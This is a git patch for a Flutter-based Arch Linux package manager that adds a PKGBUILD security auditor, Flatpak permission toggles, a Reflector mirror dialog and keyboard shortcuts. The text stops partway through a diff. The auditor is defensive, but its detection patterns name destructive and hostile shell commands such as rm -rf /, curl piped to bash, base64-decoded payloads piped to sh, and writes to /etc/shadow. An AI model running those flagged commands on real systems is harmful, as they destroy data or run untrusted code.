From cd6dd4155228d7e65b0c7df5d69e9ba7e91996d3 Mon Sep 17 00:00:00 2001 From: RarDog Date: Sun, 13 Sep 2026 18:37:47 +0300 Subject: [PATCH] feat: Add AUR PKGBUILD audit, Reflector GUI, Flatpak permissions & shortcuts --- lib/src/services/aur_pkgbuild_service.dart | 243 ++++++++ .../services/flatpak_permissions_service.dart | 232 ++++++++ lib/src/services/reflector_service.dart | 188 ++++++ lib/src/ui/main_layout.dart | 19 + lib/src/ui/screens/doctor_screen.dart | 47 +- lib/src/ui/screens/settings_screen.dart | 114 ++++ .../ui/widgets/keyboard_shortcuts_dialog.dart | 193 ++++++ lib/src/ui/widgets/package_inspector.dart | 555 ++++++++++++++++++ .../ui/widgets/reflector_mirror_dialog.dart | 460 +++++++++++++++ test/aur_pkgbuild_service_test.dart | 77 +++ test/dialogs_smoke_test.dart | 20 + test/flatpak_permissions_service_test.dart | 49 ++ 12 files changed, 2183 insertions(+), 14 deletions(-) create mode 100644 lib/src/services/aur_pkgbuild_service.dart create mode 100644 lib/src/services/flatpak_permissions_service.dart create mode 100644 lib/src/services/reflector_service.dart create mode 100644 lib/src/ui/widgets/keyboard_shortcuts_dialog.dart create mode 100644 lib/src/ui/widgets/reflector_mirror_dialog.dart create mode 100644 test/aur_pkgbuild_service_test.dart create mode 100644 test/dialogs_smoke_test.dart create mode 100644 test/flatpak_permissions_service_test.dart diff --git a/lib/src/services/aur_pkgbuild_service.dart b/lib/src/services/aur_pkgbuild_service.dart new file mode 100644 index 0000000..0908238 --- /dev/null +++ b/lib/src/services/aur_pkgbuild_service.dart @@ -0,0 +1,243 @@ +import 'dart:convert'; +import 'dart:io'; + +/// Уровень серьезности проверки безопасности PKGBUILD +enum SecuritySeverity { + safe, + warning, + danger, +} + +/// Отдельная обнаруженная проблема или замечание в PKGBUILD +class SecurityIssue { + final int lineNumber; + final String lineContent; + final SecuritySeverity severity; + final String ruleName; + final String description; + + const SecurityIssue({ + required this.lineNumber, + required this.lineContent, + required this.severity, + required this.ruleName, + required this.description, + }); +} + +/// Результат статического аудита PKGBUILD +class PkgbuildAuditResult { + final SecuritySeverity overallSeverity; + final List issues; + final String summary; + + const PkgbuildAuditResult({ + required this.overallSeverity, + required this.issues, + required this.summary, + }); + + bool get isSafe => overallSeverity == SecuritySeverity.safe; + bool get hasWarnings => overallSeverity == SecuritySeverity.warning; + bool get hasDanger => overallSeverity == SecuritySeverity.danger; +} + +/// Сервис загрузки и анализа PKGBUILD +class AurPkgbuildService { + /// Получение содержимого PKGBUILD для пакета AUR + static Future fetchPkgbuild(String packageName) async { + final cleanName = packageName.trim(); + if (cleanName.isEmpty) return null; + + // 1. Попытка загрузить через официальный AUR cgit + try { + final client = HttpClient(); + client.connectionTimeout = const Duration(seconds: 6); + final uri = Uri.parse( + 'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}', + ); + final req = await client.getUrl(uri); + final res = await req.close(); + + if (res.statusCode == 200) { + final body = await res.transform(utf8.decoder).join(); + if (body.trim().isNotEmpty && !body.contains('404 Not Found')) { + return body; + } + } + } catch (_) {} + + // 2. Fallback через curl + try { + final curlRes = await Process.run('curl', [ + '-sL', + '--max-time', + '6', + 'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}', + ]); + if (curlRes.exitCode == 0) { + final stdout = curlRes.stdout.toString(); + if (stdout.trim().isNotEmpty && !stdout.contains('404 Not Found')) { + return stdout; + } + } + } catch (_) {} + + // 3. Fallback через локальный helper (paru -Gp / yay -Gp) + for (final helper in ['paru', 'yay']) { + try { + final res = await Process.run(helper, ['-Gp', cleanName]); + if (res.exitCode == 0 && res.stdout.toString().trim().isNotEmpty) { + return res.stdout.toString(); + } + } catch (_) {} + } + + return null; + } + + /// Статический аудит безопасности скрипта PKGBUILD + static PkgbuildAuditResult audit(String content) { + final issues = []; + final lines = content.split('\n'); + + bool inFunction = false; + String currentFunc = ''; + + for (int i = 0; i < lines.length; i++) { + final rawLine = lines[i]; + final line = rawLine.trim(); + final lineNum = i + 1; + + // Пропускаем комментарии + if (line.startsWith('#') || line.isEmpty) { + continue; + } + + // Отслеживание функций (build(), package(), prepare()) + final funcMatch = RegExp(r'^(build|package|prepare|check)\s*\(\)').firstMatch(line); + if (funcMatch != null) { + inFunction = true; + currentFunc = funcMatch.group(1) ?? ''; + } + if (line.startsWith('}')) { + inFunction = false; + currentFunc = ''; + } + + // 1. КРИТИЧЕСКИЕ ПРОВЕРКИ (DANGER) + + // Деструктивные команды файловой системы + if (RegExp(r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*f*|-f[a-zA-Z]*r[a-zA-Z]*)\s+(/|\$HOME|~|/\*)(\s|$)').hasMatch(line) || + RegExp(r'\brm\s+-rf\s+/\b').hasMatch(line)) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.danger, + ruleName: 'destructive_command', + description: 'Обнаружена опасная команда удаления файлов корня или домашней папки (rm -rf /).', + )); + } + + // Прямое форматирование дисков или запись в raw-устройства + if (RegExp(r'\b(mkfs|fdisk|parted|dd\s+if=.*of=/dev/)').hasMatch(line)) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.danger, + ruleName: 'raw_disk_write', + description: 'Попытка форматирования или прямой записи в блочные устройства дисков.', + )); + } + + // Попытка запуска с правами суперпользователя внутри PKGBUILD + if (RegExp(r'\b(sudo|pkexec|su|doas)\s+').hasMatch(line)) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.danger, + ruleName: 'privilege_escalation', + description: 'Использование sudo/pkexec недопустимо в PKGBUILD (makepkg собирает пакет от обычного пользователя).', + )); + } + + // Загрузка и немедленный запуск внешних скриптов (curl | bash) + if (RegExp(r'\b(curl|wget|fetch)\b.*\|\s*(bash|sh|zsh|python|perl)').hasMatch(line)) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.danger, + ruleName: 'pipe_to_shell', + description: 'Выполнение кода напрямую из интернета через канал (curl | bash). Все исходники должны объявляться в source=().', + )); + } + + // Обфускация кода через base64 или eval + if (RegExp(r'\b(base64\s+-d|openssl\s+enc\s+-d)\b.*\|\s*(bash|sh)').hasMatch(line) || + RegExp(r'\beval\s+[\$\(]').hasMatch(line)) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.danger, + ruleName: 'code_obfuscation', + description: 'Обнаружена подозрительная обфускация или динамическое выполнение кода (eval / base64 -d).', + )); + } + + // 2. ПРЕДУПРЕЖДЕНИЯ (WARNING) + + // Сетевые запросы внутри build() или package() + if (inFunction && (currentFunc == 'build' || currentFunc == 'package')) { + if (RegExp(r'\b(git\s+clone|curl|wget)\b').hasMatch(line) && !line.startsWith('echo')) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.warning, + ruleName: 'network_in_build', + description: 'Сетевой запрос внутри функции $currentFunc(). Рекомендуется загружать исходники через секцию source=().', + )); + } + } + + // Опасные разрешения файлов + if (RegExp(r'\bchmod\s+(777|a\+rwx|u\+s)\b').hasMatch(line)) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.warning, + ruleName: 'loose_permissions', + description: 'Установка небезопасных прав доступа к файлам (chmod 777 или SUID).', + )); + } + + // Изменение системных конфигураций напрямую + if (RegExp(r'>\s*/etc/(passwd|shadow|sudoers|pam\.d)').hasMatch(line)) { + issues.add(SecurityIssue( + lineNumber: lineNum, + lineContent: rawLine, + severity: SecuritySeverity.danger, + ruleName: 'critical_config_overwrite', + description: 'Попытка прямой модификации критических системных файлов аутентификации.', + )); + } + } + + // Итоговый вердикт + SecuritySeverity overall = SecuritySeverity.safe; + String summary = 'Скрипт сборки проверен. Подозрительных или опасных команд не обнаружено.'; + + if (issues.any((i) => i.severity == SecuritySeverity.danger)) { + overall = SecuritySeverity.danger; + summary = 'ВНИМАНИЕ! Обнаружены потенциально опасные команды, которые могут повредить систему.'; + } else if (issues.any((i) => i.severity == SecuritySeverity.warning)) { + overall = SecuritySeverity.warning; + summary = 'Обнаружены нестандартные операции сборщика, рекомендуем ознакомиться с кодом.'; + } + + return PkgbuildAuditResult( + overallSeverity: overall, + issues: issues, + summary: summary, + ); + } +} diff --git a/lib/src/services/flatpak_permissions_service.dart b/lib/src/services/flatpak_permissions_service.dart new file mode 100644 index 0000000..2577b7a --- /dev/null +++ b/lib/src/services/flatpak_permissions_service.dart @@ -0,0 +1,232 @@ +import 'dart:io'; + +enum FlatpakPermissionType { + network, + filesystemHome, + filesystemHost, + socketWayland, + socketX11, + socketPulseaudio, + deviceDri, +} + +class FlatpakAppPermissions { + final String appId; + final bool network; + final bool filesystemHome; + final bool filesystemHost; + final bool socketWayland; + final bool socketX11; + final bool socketPulseaudio; + final bool deviceDri; + final bool hasOverrides; + + const FlatpakAppPermissions({ + required this.appId, + required this.network, + required this.filesystemHome, + required this.filesystemHost, + required this.socketWayland, + required this.socketX11, + required this.socketPulseaudio, + required this.deviceDri, + required this.hasOverrides, + }); + + FlatpakAppPermissions copyWith({ + bool? network, + bool? filesystemHome, + bool? filesystemHost, + bool? socketWayland, + bool? socketX11, + bool? socketPulseaudio, + bool? deviceDri, + bool? hasOverrides, + }) { + return FlatpakAppPermissions( + appId: appId, + network: network ?? this.network, + filesystemHome: filesystemHome ?? this.filesystemHome, + filesystemHost: filesystemHost ?? this.filesystemHost, + socketWayland: socketWayland ?? this.socketWayland, + socketX11: socketX11 ?? this.socketX11, + socketPulseaudio: socketPulseaudio ?? this.socketPulseaudio, + deviceDri: deviceDri ?? this.deviceDri, + hasOverrides: hasOverrides ?? this.hasOverrides, + ); + } +} + +class FlatpakPermissionsService { + /// Получение текущего статуса разрешений (учитывая манифест пакета и переопределения пользователя) + static Future getPermissions(String appId) async { + final cleanId = appId.trim(); + if (cleanId.isEmpty) return null; + + try { + // 1. Получаем базовый манифест приложения + final infoRes = await Process.run('flatpak', ['info', '-m', cleanId]); + if (infoRes.exitCode != 0) return null; + + final manifestText = infoRes.stdout.toString(); + + // 2. Получаем пользовательские переопределения + final overrideRes = await Process.run('flatpak', ['override', '--user', '--show', cleanId]); + final overrideText = overrideRes.exitCode == 0 ? overrideRes.stdout.toString() : ''; + + return parsePermissions(cleanId, manifestText, overrideText); + } catch (_) { + return null; + } + } + + /// Парсер манифеста и оверрайдов (публичный для модульного тестирования) + static FlatpakAppPermissions parsePermissions(String appId, String manifest, String overrides) { + // Вспомогательная функция парсинга секции [Context] + Map> parseContext(String text) { + final map = >{}; + bool inContext = false; + for (final line in text.split('\n')) { + final trimmed = line.trim(); + if (trimmed == '[Context]') { + inContext = true; + continue; + } else if (trimmed.startsWith('[') && trimmed.endsWith(']')) { + inContext = false; + } + if (inContext && trimmed.contains('=')) { + final parts = trimmed.split('='); + final key = parts[0].trim(); + final values = parts[1].split(';').map((e) => e.trim()).where((e) => e.isNotEmpty).toSet(); + map[key] = values; + } + } + return map; + } + + final base = parseContext(manifest); + final user = parseContext(overrides); + + bool checkPermission({ + required String key, + required String positiveValue, + required String negativeValue, + bool defaultIfMissing = false, + }) { + final userSet = user[key] ?? {}; + if (userSet.contains(negativeValue) || userSet.contains('!$positiveValue')) { + return false; + } + if (userSet.contains(positiveValue)) { + return true; + } + + final baseSet = base[key] ?? {}; + if (baseSet.contains(negativeValue) || baseSet.contains('!$positiveValue')) { + return false; + } + if (baseSet.contains(positiveValue)) { + return true; + } + + return defaultIfMissing; + } + + final net = checkPermission( + key: 'shared', + positiveValue: 'network', + negativeValue: '!network', + ); + + final fsHome = checkPermission( + key: 'filesystems', + positiveValue: 'home', + negativeValue: '!home', + ) || (base['filesystems']?.contains('host') ?? false) && !(user['filesystems']?.contains('!host') ?? false); + + final fsHost = checkPermission( + key: 'filesystems', + positiveValue: 'host', + negativeValue: '!host', + ); + + final wayland = checkPermission( + key: 'sockets', + positiveValue: 'wayland', + negativeValue: '!wayland', + defaultIfMissing: (base['sockets']?.contains('fallback-x11') ?? false), + ); + + final x11 = checkPermission( + key: 'sockets', + positiveValue: 'x11', + negativeValue: '!x11', + ); + + final pulse = checkPermission( + key: 'sockets', + positiveValue: 'pulseaudio', + negativeValue: '!pulseaudio', + ); + + final dri = checkPermission( + key: 'devices', + positiveValue: 'dri', + negativeValue: '!dri', + ) || (base['devices']?.contains('all') ?? false); + + final hasUserOverrides = overrides.trim().isNotEmpty && !overrides.contains('No override'); + + return FlatpakAppPermissions( + appId: appId, + network: net, + filesystemHome: fsHome, + filesystemHost: fsHost, + socketWayland: wayland, + socketX11: x11, + socketPulseaudio: pulse, + deviceDri: dri, + hasOverrides: hasUserOverrides, + ); + } + + /// Изменение отдельного разрешения без прав root + static Future setPermission(String appId, FlatpakPermissionType type, bool enabled) async { + final flag = _getOverrideFlag(type, enabled); + try { + final res = await Process.run('flatpak', ['override', '--user', flag, appId]); + return res.exitCode == 0; + } catch (_) { + return false; + } + } + + /// Сброс всех пользовательских переопределений для приложения + static Future resetPermissions(String appId) async { + try { + final res = await Process.run('flatpak', ['override', '--user', '--reset', appId]); + return res.exitCode == 0; + } catch (_) { + return false; + } + } + + static String _getOverrideFlag(FlatpakPermissionType type, bool enabled) { + switch (type) { + case FlatpakPermissionType.network: + return enabled ? '--share=network' : '--unshare=network'; + case FlatpakPermissionType.filesystemHome: + return enabled ? '--filesystem=home' : '--nofilesystem=home'; + case FlatpakPermissionType.filesystemHost: + return enabled ? '--filesystem=host' : '--nofilesystem=host'; + case FlatpakPermissionType.socketWayland: + return enabled ? '--socket=wayland' : '--nosocket=wayland'; + case FlatpakPermissionType.socketX11: + return enabled ? '--socket=x11' : '--nosocket=x11'; + case FlatpakPermissionType.socketPulseaudio: + return enabled ? '--socket=pulseaudio' : '--nosocket=pulseaudio'; + case FlatpakPermissionType.deviceDri: + return enabled ? '--device=dri' : '--nodevice=dri'; + } + } +} diff --git a/lib/src/services/reflector_service.dart b/lib/src/services/reflector_service.dart new file mode 100644 index 0000000..70cf0cb --- /dev/null +++ b/lib/src/services/reflector_service.dart @@ -0,0 +1,188 @@ +import 'dart:io'; +import 'admin_service.dart'; + +class ReflectorCountry { + final String name; + final String code; + final int count; + + const ReflectorCountry({ + required this.name, + required this.code, + required this.count, + }); +} + +class ReflectorMirror { + final String url; + final String? country; + + const ReflectorMirror({ + required this.url, + this.country, + }); +} + +class ReflectorService { + static List? _cachedCountries; + + /// Проверка доступности утилиты reflector в системе + static Future isAvailable() async { + try { + final res = await Process.run('which', ['reflector']); + return res.exitCode == 0; + } catch (_) { + return false; + } + } + + /// Получение списка поддерживаемых стран + static Future> getCountries() async { + if (_cachedCountries != null) return _cachedCountries!; + + final list = []; + try { + final res = await Process.run('reflector', ['--list-countries']); + if (res.exitCode == 0) { + final lines = res.stdout.toString().split('\n'); + // Пропускаем первые 2 строки заголовка + for (int i = 2; i < lines.length; i++) { + final line = lines[i].trim(); + if (line.isEmpty) continue; + // Формат: Country (20 chars) Code (4 chars) Count + // Либо через регулярное выражение + final match = RegExp(r'^(.*?)\s+([A-Z]{2})\s+(\d+)$').firstMatch(line); + if (match != null) { + final name = match.group(1)!.trim(); + final code = match.group(2)!.trim(); + final count = int.tryParse(match.group(3)!) ?? 0; + list.add(ReflectorCountry(name: name, code: code, count: count)); + } + } + } + } catch (_) {} + + if (list.isEmpty) { + // Fallback на базовые популярные страны + list.addAll(const [ + ReflectorCountry(name: 'Germany', code: 'DE', count: 50), + ReflectorCountry(name: 'Russia', code: 'RU', count: 15), + ReflectorCountry(name: 'Netherlands', code: 'NL', count: 30), + ReflectorCountry(name: 'United States', code: 'US', count: 70), + ReflectorCountry(name: 'France', code: 'FR', count: 25), + ReflectorCountry(name: 'Finland', code: 'FI', count: 10), + ]); + } + + _cachedCountries = list; + return list; + } + + /// Получение текущих активных зеркал из /etc/pacman.d/mirrorlist + static Future> getCurrentActiveMirrors() async { + final file = File('/etc/pacman.d/mirrorlist'); + if (!file.existsSync()) return []; + + final active = []; + try { + final lines = await file.readAsLines(); + for (final line in lines) { + final trimmed = line.trim(); + if (trimmed.startsWith('Server') && trimmed.contains('=')) { + final parts = trimmed.split('='); + if (parts.length > 1) { + active.add(parts[1].trim()); + } + } + } + } catch (_) {} + return active; + } + + /// Предпросмотр зеркал без записи в систему (Dry run) + static Future> previewMirrors({ + String? country, + int latest = 5, + bool httpsOnly = true, + String sort = 'rate', + }) async { + final args = [ + '--latest', latest.toString(), + '--sort', sort, + ]; + + if (httpsOnly) { + args.addAll(['--protocol', 'https']); + } + + if (country != null && country.isNotEmpty && country != 'All') { + args.addAll(['--country', country]); + } + + try { + final res = await Process.run('reflector', args); + if (res.exitCode == 0) { + final mirrors = []; + final lines = res.stdout.toString().split('\n'); + for (final line in lines) { + final trimmed = line.trim(); + if (trimmed.startsWith('Server') && trimmed.contains('=')) { + final parts = trimmed.split('='); + if (parts.length > 1) { + mirrors.add(parts[1].trim()); + } + } + } + return mirrors; + } + } catch (_) {} + + return []; + } + + /// Применение зеркал: создание бэкапа и сохранение через reflector --save + static Future applyMirrors( + String? password, { + String? country, + int latest = 10, + bool httpsOnly = true, + String sort = 'rate', + }) async { + // 1. Делаем бэкап существующего mirrorlist + try { + final cpProc = await AdminService.runPrivileged( + password, + 'cp', + ['-f', '/etc/pacman.d/mirrorlist', '/etc/pacman.d/mirrorlist.forge-bak'], + ); + await cpProc.exitCode; + } catch (_) {} + + // 2. Формируем аргументы reflector + final args = [ + '--latest', latest.toString(), + '--sort', sort, + '--save', '/etc/pacman.d/mirrorlist', + ]; + + if (httpsOnly) { + args.addAll(['--protocol', 'https']); + } + + if (country != null && country.isNotEmpty && country != 'All') { + args.addAll(['--country', country]); + } + + try { + final proc = await AdminService.runPrivileged( + password, + 'reflector', + args, + ); + final exitCode = await proc.exitCode; + return exitCode == 0; + } catch (_) { + return false; + } + } +} diff --git a/lib/src/ui/main_layout.dart b/lib/src/ui/main_layout.dart index 5f5053d..8a53aee 100644 --- a/lib/src/ui/main_layout.dart +++ b/lib/src/ui/main_layout.dart @@ -14,6 +14,7 @@ import 'screens/installed_screen.dart'; import 'screens/settings_screen.dart'; import 'screens/starter_packs_screen.dart'; import 'screens/updates_screen.dart'; +import 'widgets/keyboard_shortcuts_dialog.dart'; import 'widgets/package_inspector.dart'; import 'widgets/spotlight_search_dialog.dart'; @@ -69,6 +70,17 @@ class _MainLayoutState extends State { bindings: { const SingleActivator(LogicalKeyboardKey.keyK, control: true): _openSpotlight, const SingleActivator(LogicalKeyboardKey.keyK, meta: true): _openSpotlight, + const SingleActivator(LogicalKeyboardKey.slash, control: true): () => KeyboardShortcutsDialog.show(context), + const SingleActivator(LogicalKeyboardKey.f1): () => KeyboardShortcutsDialog.show(context), + const SingleActivator(LogicalKeyboardKey.keyR, control: true): _performInitialBadgeScan, + const SingleActivator(LogicalKeyboardKey.f5): _performInitialBadgeScan, + const SingleActivator(LogicalKeyboardKey.digit1, control: true): () => setState(() => _pageIndex = 0), + const SingleActivator(LogicalKeyboardKey.digit2, control: true): () => setState(() => _pageIndex = 1), + const SingleActivator(LogicalKeyboardKey.digit3, control: true): () => setState(() => _pageIndex = 2), + const SingleActivator(LogicalKeyboardKey.digit4, control: true): () => setState(() => _pageIndex = 3), + const SingleActivator(LogicalKeyboardKey.digit5, control: true): () => setState(() => _pageIndex = 4), + const SingleActivator(LogicalKeyboardKey.digit6, control: true): () => setState(() => _pageIndex = 5), + const SingleActivator(LogicalKeyboardKey.digit7, control: true): () => setState(() => _pageIndex = 6), }, child: Focus( autofocus: true, @@ -143,6 +155,13 @@ class _MainLayoutState extends State { ], ), ), + MacosTooltip( + message: 'Горячие клавиши (F1 / Ctrl+/)', + child: MacosIconButton( + icon: const MacosIcon(CupertinoIcons.keyboard, size: 14), + onPressed: () => KeyboardShortcutsDialog.show(context), + ), + ), ], ), const SizedBox(height: 12), diff --git a/lib/src/ui/screens/doctor_screen.dart b/lib/src/ui/screens/doctor_screen.dart index 6b68fbd..a5be590 100644 --- a/lib/src/ui/screens/doctor_screen.dart +++ b/lib/src/ui/screens/doctor_screen.dart @@ -4,6 +4,7 @@ import 'package:macos_ui/macos_ui.dart'; import '../../services/admin_service.dart'; import '../../services/doctor_service.dart'; import '../widgets/friendly_term.dart'; +import '../widgets/reflector_mirror_dialog.dart'; class DoctorScreen extends StatefulWidget { const DoctorScreen({super.key}); @@ -684,20 +685,38 @@ class _DoctorScreenState extends State { style: const TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3), ), const SizedBox(height: 10), - PushButton( - controlSize: ControlSize.small, - secondary: true, - onPressed: _isActionRunning - ? null - : () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)), - child: const Row( - mainAxisSize: MainAxisSize.min, - children: [ - MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)), - SizedBox(width: 5), - Text('Выбрать 10 быстрейших зеркал (Reflector)'), - ], - ), + Wrap( + spacing: 8, + runSpacing: 6, + children: [ + PushButton( + controlSize: ControlSize.small, + onPressed: () => ReflectorMirrorDialog.show(context), + child: const Row( + mainAxisSize: MainAxisSize.min, + children: [ + MacosIcon(CupertinoIcons.slider_horizontal_3, size: 12), + SizedBox(width: 5), + Text('Настроить зеркала (GUI)'), + ], + ), + ), + PushButton( + controlSize: ControlSize.small, + secondary: true, + onPressed: _isActionRunning + ? null + : () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)), + child: const Row( + mainAxisSize: MainAxisSize.min, + children: [ + MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)), + SizedBox(width: 5), + Text('Авто-выбор топ-10'), + ], + ), + ), + ], ), ], ), diff --git a/lib/src/ui/screens/settings_screen.dart b/lib/src/ui/screens/settings_screen.dart index 045a7fd..89ce551 100644 --- a/lib/src/ui/screens/settings_screen.dart +++ b/lib/src/ui/screens/settings_screen.dart @@ -5,6 +5,8 @@ import '../../services/admin_service.dart'; import '../../services/app_settings_service.dart'; import '../../services/snapshot_service.dart'; import '../widgets/friendly_term.dart'; +import '../widgets/keyboard_shortcuts_dialog.dart'; +import '../widgets/reflector_mirror_dialog.dart'; class SettingsScreen extends StatefulWidget { const SettingsScreen({super.key}); @@ -425,6 +427,118 @@ class _SettingsScreenState extends State { ], ), ), + + const SizedBox(height: 24), + + // Group 4: Mirrors & Reflector + _buildSectionHeader('ЗЕРКАЛА РЕПОЗИТОРИЕВ ARCH LINUX'), + const SizedBox(height: 8), + Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: macosTheme.canvasColor, + borderRadius: BorderRadius.circular(10), + border: Border.all( + color: macosTheme.dividerColor, + width: 0.8, + ), + ), + child: Row( + children: [ + const Expanded( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Оптимизация зеркал через Reflector', + style: TextStyle( + fontWeight: FontWeight.w600, + fontSize: 13.5, + ), + ), + SizedBox(height: 2), + Text( + 'Тестирование скорости зеркал по странам и обновление /etc/pacman.d/mirrorlist', + style: TextStyle( + fontSize: 12, + color: CupertinoColors.systemGrey, + ), + ), + ], + ), + ), + PushButton( + controlSize: ControlSize.regular, + secondary: true, + onPressed: () => ReflectorMirrorDialog.show(context), + child: const Row( + mainAxisSize: MainAxisSize.min, + children: [ + MacosIcon(CupertinoIcons.speedometer, size: 14), + SizedBox(width: 6), + Text('Настроить зеркала'), + ], + ), + ), + ], + ), + ), + + const SizedBox(height: 24), + + // Group 5: Keyboard Shortcuts + _buildSectionHeader('УПРАВЛЕНИЕ И ГОРЯЧИЕ КЛАВИШИ'), + const SizedBox(height: 8), + Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: macosTheme.canvasColor, + borderRadius: BorderRadius.circular(10), + border: Border.all( + color: macosTheme.dividerColor, + width: 0.8, + ), + ), + child: Row( + children: [ + const Expanded( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Шпаргалка горячих клавиш (Shortcuts)', + style: TextStyle( + fontWeight: FontWeight.w600, + fontSize: 13.5, + ), + ), + SizedBox(height: 2), + Text( + 'Быстрый поиск, смена экранов (Ctrl+1..7), F1 и навигация', + style: TextStyle( + fontSize: 12, + color: CupertinoColors.systemGrey, + ), + ), + ], + ), + ), + PushButton( + controlSize: ControlSize.regular, + secondary: true, + onPressed: () => KeyboardShortcutsDialog.show(context), + child: const Row( + mainAxisSize: MainAxisSize.min, + children: [ + MacosIcon(CupertinoIcons.keyboard, size: 14), + SizedBox(width: 6), + Text('Показать хоткеи'), + ], + ), + ), + ], + ), + ), ], ); }, diff --git a/lib/src/ui/widgets/keyboard_shortcuts_dialog.dart b/lib/src/ui/widgets/keyboard_shortcuts_dialog.dart new file mode 100644 index 0000000..ef6a2ce --- /dev/null +++ b/lib/src/ui/widgets/keyboard_shortcuts_dialog.dart @@ -0,0 +1,193 @@ +import 'package:flutter/cupertino.dart'; +import 'package:flutter/material.dart' show Divider; +import 'package:macos_ui/macos_ui.dart'; + +class KeyboardShortcutsDialog extends StatelessWidget { + const KeyboardShortcutsDialog({super.key}); + + static Future show(BuildContext context) { + return showMacosSheet( + context: context, + barrierDismissible: true, + builder: (context) => const KeyboardShortcutsDialog(), + ); + } + + @override + Widget build(BuildContext context) { + final theme = MacosTheme.of(context); + + final shortcuts = [ + ( + keys: ['Ctrl', 'K'], + action: 'Быстрый поиск приложений (Spotlight)', + category: 'Навигация', + ), + ( + keys: ['Ctrl', '1…7'], + action: 'Быстрый переход между экранами (Каталог, Установленные и др.)', + category: 'Навигация', + ), + ( + keys: ['Ctrl', '/'], + action: 'Шпаргалка горячих клавиш (это окно)', + category: 'Помощь', + ), + ( + keys: ['F1'], + action: 'Справка и горячие клавиши', + category: 'Помощь', + ), + ( + keys: ['Esc'], + action: 'Закрыть модальное окно / отменить действие', + category: 'Общее', + ), + ]; + + return Center( + child: Container( + width: 520, + decoration: BoxDecoration( + color: theme.canvasColor, + borderRadius: BorderRadius.circular(16), + border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)), + boxShadow: [ + BoxShadow( + color: CupertinoColors.black.withValues(alpha: 0.45), + blurRadius: 28, + offset: const Offset(0, 10), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + // Шапка + Padding( + padding: const EdgeInsets.fromLTRB(20, 18, 20, 14), + child: Row( + children: [ + Container( + width: 36, + height: 36, + decoration: BoxDecoration( + color: const Color(0xFF34C759).withValues(alpha: 0.15), + borderRadius: BorderRadius.circular(10), + ), + child: const Center( + child: MacosIcon( + CupertinoIcons.keyboard, + color: Color(0xFF34C759), + size: 20, + ), + ), + ), + const SizedBox(width: 12), + const Expanded( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Горячие клавиши Forge', + style: TextStyle( + fontSize: 16, + fontWeight: FontWeight.bold, + ), + ), + SizedBox(height: 2), + Text( + 'Удобное управление менеджером пакетов с клавиатуры', + style: TextStyle( + fontSize: 12, + color: CupertinoColors.systemGrey, + ), + ), + ], + ), + ), + MacosIconButton( + icon: const MacosIcon(CupertinoIcons.xmark, size: 16), + onPressed: () => Navigator.of(context).pop(), + ), + ], + ), + ), + + const Divider(height: 1, color: CupertinoColors.separator), + + // Список шорткатов + Padding( + padding: const EdgeInsets.all(20), + child: Column( + children: shortcuts.map((item) { + return Padding( + padding: const EdgeInsets.only(bottom: 12), + child: Row( + children: [ + Row( + children: item.keys.map((k) { + return Container( + margin: const EdgeInsets.only(right: 4), + padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4), + decoration: BoxDecoration( + color: theme.dividerColor.withValues(alpha: 0.15), + borderRadius: BorderRadius.circular(6), + border: Border.all( + color: CupertinoColors.white.withValues(alpha: 0.2), + ), + boxShadow: [ + BoxShadow( + color: CupertinoColors.black.withValues(alpha: 0.2), + blurRadius: 2, + offset: const Offset(0, 1), + ), + ], + ), + child: Text( + k, + style: const TextStyle( + fontSize: 12, + fontWeight: FontWeight.bold, + fontFamily: 'monospace', + ), + ), + ); + }).toList(), + ), + const SizedBox(width: 14), + Expanded( + child: Text( + item.action, + style: const TextStyle(fontSize: 13), + ), + ), + ], + ), + ); + }).toList(), + ), + ), + + const Divider(height: 1, color: CupertinoColors.separator), + + Padding( + padding: const EdgeInsets.all(14), + child: Row( + mainAxisAlignment: MainAxisAlignment.end, + children: [ + PushButton( + controlSize: ControlSize.regular, + secondary: true, + onPressed: () => Navigator.of(context).pop(), + child: const Text('Понятно'), + ), + ], + ), + ), + ], + ), + ), + ); + } +} diff --git a/lib/src/ui/widgets/package_inspector.dart b/lib/src/ui/widgets/package_inspector.dart index 7bc7fbd..e4c4646 100644 --- a/lib/src/ui/widgets/package_inspector.dart +++ b/lib/src/ui/widgets/package_inspector.dart @@ -1,11 +1,14 @@ import 'dart:io'; import 'package:flutter/cupertino.dart'; +import 'package:flutter/material.dart' show SelectableText; import 'package:flutter/services.dart'; import 'package:macos_ui/macos_ui.dart'; import 'package:url_launcher/url_launcher.dart'; import '../../rust/api/packages.dart'; import '../../rust/frb_generated.dart'; import '../../services/admin_service.dart'; +import '../../services/aur_pkgbuild_service.dart'; +import '../../services/flatpak_permissions_service.dart'; /// Модальное адаптивное окно просмотра свойств пакета («поверх окна каталога») class PackageInspectorSheet extends StatefulWidget { @@ -51,6 +54,15 @@ class _PackageInspectorSheetState extends State { 